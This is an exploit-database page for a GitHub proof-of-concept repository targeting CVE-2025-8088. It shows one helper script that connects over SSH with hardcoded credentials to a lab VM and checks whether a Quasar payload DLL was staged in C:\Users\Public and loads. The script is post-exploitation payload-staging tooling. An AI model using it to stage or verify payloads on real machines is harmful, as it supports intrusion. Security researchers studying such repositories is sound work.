Exploit database

GH-9d8bf7b89f407a0fff790750df76b5d3

lewis-ricardo/amaranth-project

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files52Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Stage02_PowerShell/exploit/check_dll_vm.py

Python · 1,199 bytes
import paramiko
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('192.168.30.136', username='lewis', password='lewis123', timeout=10)

stdin,stdout,stderr = ssh.exec_command('dir C:\\Users\\Public\\*.dll 2>nul', timeout=5)
for line in stdout.read().decode('gbk', errors='replace').split('\n'):
    if any(x in line for x in ['Quasar','proto','Payload']):
        print(line.strip()[:120])

# Check file content - is the assembled valid?
stdin,stdout,stderr = ssh.exec_command(
    'powershell -noprofile -c "[Reflection.Assembly]::ReflectionOnlyLoadFrom(\'C:\\Users\\Public\\QuasarPayload.dll\') 2>$null;Write-Host $_.FullName" 2>&1',
    timeout=10)
r = stdout.read().decode('gbk', errors='replace').strip()
print('Assembly test:', r[:200] if r else 'LOAD FAILED (no output)')

stdin,stdout,stderr = ssh.exec_command(
    'powershell -noprofile -c '
    '"try{[Reflection.Assembly]::ReflectionOnlyLoadFrom(''C:\\Users\\Public\\QuasarPayload.dll'')|%%{Write-Host $_.FullName}}catch{$_}" 2>&1',
    timeout=10)
r = stdout.read().decode('gbk', errors='replace').strip()
print('Assembly test2:', r[:300] if r else 'LOAD FAILED (no output)')

ssh.close()